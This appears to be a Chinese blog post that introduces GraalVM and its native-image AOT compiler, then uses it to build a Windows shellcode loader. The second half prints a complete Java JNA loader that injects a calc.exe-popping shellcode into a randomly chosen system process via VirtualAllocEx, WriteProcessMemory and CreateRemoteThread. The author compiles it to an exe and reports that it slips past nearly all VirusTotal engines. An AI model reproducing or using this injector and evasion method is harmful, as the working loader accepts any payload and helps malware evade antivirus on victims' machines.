介绍Graalvm之前,首先就要了解Java编译的JIT和AOT是什么
JIT(Just-in-Time,即时编译)和AOT(Ahead-of-Time,预编译),就像Java常见的是需要什么类,就加载进来编译并解析。而现随着云计算的发展,很多微服务架构都需要提前通过编译转换成原生可执行的,原先的JIT方式在云环境中就存在很多的限制。
AOT带来的好处,可以使Java在虚拟机加载这些二进制文件能直接调用,无需再等编译器运行时再转换成机器码,可以减少性能和内存的消耗。但缺点也很明显,提前编译就意味着对机器的指令要求很高,因此不可以跨平台执行,打破了一次编译到处运行的设计理念,同时也不存在反射等动态调用的能力。
而Graalvm应运而生
Oracle在2019年推出的新一代UVM(通用虚拟机),它在HotSpotVM的基础上进行了大量的优化和改进,主要提供了两大特性:
Polyglot:多语言支持,你可以在GraalVM中无缝运行多种语言,包括Java、JS、Ruby、Python甚至是Rust。更重要的是可以通过GraalVM的API来实现语言混编 —— 比如在一段Java代码中无缝引用并调用一个Python实现的模块。
HighPerformance:高性能,首先它提供了一个高性能的JIT引擎,让Java语言在GraalVM上执行的时候效率更高速度更快 ;其次就是提供了SubstrateVM,通过Graal Compiler你可以将各种支持的语言(包括Java)编译成本地机器代码,获得更好的性能表现。
在https://github.com/graalvm/graalvm-ce-builds/releases地址下载对应版本的安装文件后,解压
需要配置两个系统环境
PATH:安装目录下的/bin文件
JAVA_HOME:安装目录
设置好之后,运行java -version查看Graalvm是否安装成功
再使用Graalvm Update工具下载Native-Image
而想在Windows上执行Native-Image,首先得安装Visual Studio的环境,用x64 Native Tools Command Prompt命令行来执行
这里我使用Visual Studio 2017的桌面开发环境,安装了MSVC和默认的默认的库类
找到安装目录的\VC\Auxiliary\Build\vcvars64.bat
设置环境变量:
Lib
C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\BuildTools\\VC\\Tools\\MSVC\\14.29.30133\\lib\\x64
C:\\Program Files (x86)\\Windows Kits\\10\\Lib\\10.0.19041.0\\ucrt\\x64
C:\\Program Files (x86)\\Windows Kits\\10\\Lib\\10.0.19041.0\\um\\x64
MSVC
C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\BuildTools\\VC\\Tools\\MSVC\\14.29.30133
Include
C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\BuildTools\\VC\\Tools\\MSVC\\14.29.30133\\include
C:\\Program Files (x86)\\Windows Kits\\10\\Include\\10.0.19041.0\\ucrt
C:\\Program Files (x86)\\Windows Kits\\10\\Include\\10.0.19041.0\\um
C:\\Program Files (x86)\\Windows Kits\\10\\Include\\10.0.19041.0\\shared
设置完成后添加如下路径到PATH中
%MSVC%\\bin\\Hostx64\\x64
但是我这里出现了bug,不知道为啥命令提示符执行没有结果,最后是使用VS Code里的Terminal才成功的。
可以看到Native-Image编译后的程序运行速度快了近39倍!
原本是想用rebeyond师傅提出的Shellcode执行方法来弄,后面发现打包成jar包一直报ClassNotFound,把依赖打包进去也不管用,于是就在Github上找到一个ShellCode注入的方法:https://github.com/yzddmr6/Java-Shellcode-Loader
核心原理是用JNA的方法
package executeCode;
import com.sun.jna.Memory;
import com.sun.jna.Native;
import com.sun.jna.Pointer;
import com.sun.jna.platform.win32.Kernel32;
import com.sun.jna.platform.win32.WinBase;
import com.sun.jna.platform.win32.WinDef;
import com.sun.jna.platform.win32.WinNT;
import com.sun.jna.platform.win32.WinNT.HANDLE;
import com.sun.jna.ptr.IntByReference;
import com.sun.jna.win32.StdCallLibrary;
import com.sun.jna.win32.W32APIOptions;
import java.util.Random;
public class Jna {
static byte shellcode\[\] = new byte\[\] //pop calc.exe x64
{
(byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,
(byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
(byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
(byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,
(byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,
(byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,
(byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,
(byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,
(byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,
(byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,
(byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,
(byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,
(byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,
(byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,
(byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,
(byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,
(byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,
(byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,
(byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,
(byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,
(byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,
(byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,
(byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,
(byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,
(byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,
(byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,
(byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,
(byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,
(byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,
(byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00
};
static Kernel32 kernel32;
static IKernel32 iKernel32;
public static String\[\] ProcessArrayx32 = {"C:\\\\Windows\\\\SysWOW64\\\\ARP.exe", "C:\\\\Windows\\\\SysWOW64\\\\at.exe", "C:\\\\Windows\\\\SysWOW64\\\\auditpol.exe", "C:\\\\Windows\\\\SysWOW64\\\\bitsadmin.exe", "C:\\\\Windows\\\\SysWOW64\\\\bootcfg.exe", "C:\\\\Windows\\\\SysWOW64\\\\ByteCodeGenerator.exe", "C:\\\\Windows\\\\SysWOW64\\\\cacls.exe", "C:\\\\Windows\\\\SysWOW64\\\\chcp.com", "C:\\\\Windows\\\\SysWOW64\\\\CheckNetIsolation.exe", "C:\\\\Windows\\\\SysWOW64\\\\chkdsk.exe", "C:\\\\Windows\\\\SysWOW64\\\\choice.exe", "C:\\\\Windows\\\\SysWOW64\\\\cmdkey.exe", "C:\\\\Windows\\\\SysWOW64\\\\comp.exe", "C:\\\\Windows\\\\SysWOW64\\\\diskcomp.com", "C:\\\\Windows\\\\SysWOW64\\\\Dism.exe", "C:\\\\Windows\\\\SysWOW64\\\\esentutl.exe", "C:\\\\Windows\\\\SysWOW64\\\\expand.exe", "C:\\\\Windows\\\\SysWOW64\\\\fc.exe", "C:\\\\Windows\\\\SysWOW64\\\\find.exe", "C:\\\\Windows\\\\SysWOW64\\\\gpresult.exe"};
public static String\[\] ProcessArrayx64 = {"C:\\\\Windows\\\\System32\\\\rundll32.exe", "C:\\\\Windows\\\\System32\\\\find.exe", "C:\\\\Windows\\\\System32\\\\notepad.exe", "C:\\\\Windows\\\\System32\\\\ARP.EXE"};
static {
kernel32 \= (Kernel32) Native.loadLibrary(Kernel32.class, W32APIOptions.UNICODE\_OPTIONS);
iKernel32 \= (IKernel32) Native.loadLibrary("kernel32", IKernel32.class);
}
public static void main(String\[\] args) {
Jna jnaLoader \= new Jna();
boolean is64 = true;
System.out.println("\\nShellcode: \\n" + shellcode);
jnaLoader.loadShellCode(shellcode, is64);
}
public void loadShellCode(byte\[\] shellcodeHex, boolean is64) {
String\[\] targetProcessArray \= null;
// java是64位且选择注入64位shellcode
if (System.getProperty("sun.arch.data.model").equals("64") && is64) {
targetProcessArray \= ProcessArrayx64;
} else { //默认注入32位进程
targetProcessArray = ProcessArrayx32;
}
int j = targetProcessArray.length;
byte b = 0;
Random random \= new Random();
int k = b + random.nextInt(j);
String targetProcess \= targetProcessArray\[k\];
this.loadShellCode(shellcodeHex, targetProcess);
}
public void loadShellCode(byte\[\] shellcodeByte, String targetProcess) {
System.out.println("targetProcess: " + targetProcess);
int shellcodeSize = shellcodeByte.length;
IntByReference intByReference \= new IntByReference(0);
Memory memory \= new Memory((long) shellcodeSize);
for (int j = 0; j < shellcodeSize; ++j) {
memory.setByte((long) j, shellcodeByte\[j\]);
}
WinBase.PROCESS\_INFORMATION pROCESS\_INFORMATION \= new WinBase.PROCESS\_INFORMATION();
WinBase.STARTUPINFO sTARTUPINFO \= new WinBase.STARTUPINFO();
sTARTUPINFO.cb \= new WinDef.DWORD((long) pROCESS\_INFORMATION.size());
if (kernel32.CreateProcess(targetProcess, (String) null, (WinBase.SECURITY\_ATTRIBUTES) null, (WinBase.SECURITY\_ATTRIBUTES) null, false, new WinDef.DWORD(4L), (Pointer) null, (String) null, sTARTUPINFO, pROCESS\_INFORMATION)) {
Pointer pointer \= iKernel32.VirtualAllocEx(pROCESS\_INFORMATION.hProcess, Pointer.createConstant(0), shellcodeSize, 4096, 64);
iKernel32.WriteProcessMemory(pROCESS\_INFORMATION.hProcess, pointer, memory, shellcodeSize, intByReference);
HANDLE hANDLE \= iKernel32.CreateRemoteThread(pROCESS\_INFORMATION.hProcess, (Object) null, 0, pointer, 0, 0, (Object) null);
kernel32.WaitForSingleObject(hANDLE, \-1);
}
}
interface IKernel32 extends StdCallLibrary {
Pointer VirtualAlloc(Pointer var1, int var2, int var3, int var4);
HANDLE CreateThread(Object var1, int var2, Pointer var3, int var4, int var5, Object var6);
Pointer VirtualAllocEx(HANDLE var1, Pointer var2, int var3, int var4, int var5);
HANDLE CreateRemoteThread(HANDLE var1, Object var2, int var3, Pointer var4, int var5, int var6, Object var7);
boolean WriteProcessMemory(WinNT.HANDLE param1HANDLE, Pointer param1Pointer1, Pointer param1Pointer2, int param1Int, IntByReference param1IntByReference);
boolean ReadProcessMemory(Pointer var1, int var2, Pointer var3, int var4, IntByReference var5);
int VirtualQueryEx(Pointer var1, Pointer var2, Pointer var3, int var4);
Pointer OpenProcess(int var1, boolean var2, int var3);
Pointer GetCurrentProcess();
}
}
上述代码中的字节数组是弹出Calc.exe的ShellCode
随着依赖包和Main方法一起打包到Jar包中,并用Native-image将jar包编译成exe
native\-image -jar Loader.jar
传到VirusTotal上,只有一个上报异常